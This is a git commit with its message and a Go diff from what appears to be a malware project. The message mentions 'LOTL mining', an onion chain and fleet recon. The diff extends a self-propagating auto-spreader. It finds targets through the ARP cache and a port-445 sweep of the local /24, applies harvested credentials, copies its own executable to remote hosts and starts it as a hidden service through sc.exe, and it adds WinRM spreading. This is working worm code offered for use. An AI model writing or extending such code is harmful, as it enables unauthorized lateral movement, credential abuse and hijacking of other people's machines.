Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -34,6 +34,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
for {
spreadToLocalSubnet(cfg)
if cfg.WinRMSpread || cfg.AutoSpread {
go spreadViaWinRM(cfg)
}
<-ticker.C
}
}()
@@ -43,7 +46,10 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
go spreadToLocalSubnet(cfg)
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
if cfg.WinRMSpread || cfg.AutoSpread {
go spreadViaWinRM(cfg)
}
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
}
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
@@ -52,56 +58,7 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
var spreadSem = make(chan struct{}, 16)
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
// ARP-first: only probe hosts the OS has recently spoken to.
// Typically 520 hosts vs 253 cold-probes — far quieter and faster.
targets := arpHosts()
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
// machines with SMB open so we still reach previously-unseen machines.
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
}
for _, ip := range ips {
if !isIPv4(ip) {
continue // active sweep is IPv4 /24 only; see subnet.go
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] {
continue
}
// Quick port check — only bother with machines that have :445 open
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
if err == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
}
}
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var filtered []string
for _, target := range targets {
if localSet[target] {
continue
}
filtered = append(filtered, target)
}
filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
beginSpreadSweep("smb_scm", len(filtered))
if len(filtered) == 0 {
finishSpreadSweepImmediate()
@@ -125,6 +82,18 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
}
conn.Close()
var credSession SpreadCredSession
var credCleanup func()
if session, ok := acquireSpreadCred(target, "smb_scm"); ok {
credSession = session
if cleanup, applied := applySpreadCredSession(target, session); applied {
credCleanup = cleanup
}
}
if credCleanup != nil {
defer credCleanup()
}
exePath, err := os.Executable()
if err != nil {
recordSpreadAttempt(target, false, "executable path unavailable")
@@ -159,7 +128,9 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
recordSpreadAttempt(target, true, "")
reportSpreadCredEdge(target, "smb_scm", credSession, true)
} else {
recordSpreadAttempt(target, false, "remote service start failed")
reportSpreadCredEdge(target, "smb_scm", credSession, false)
}
}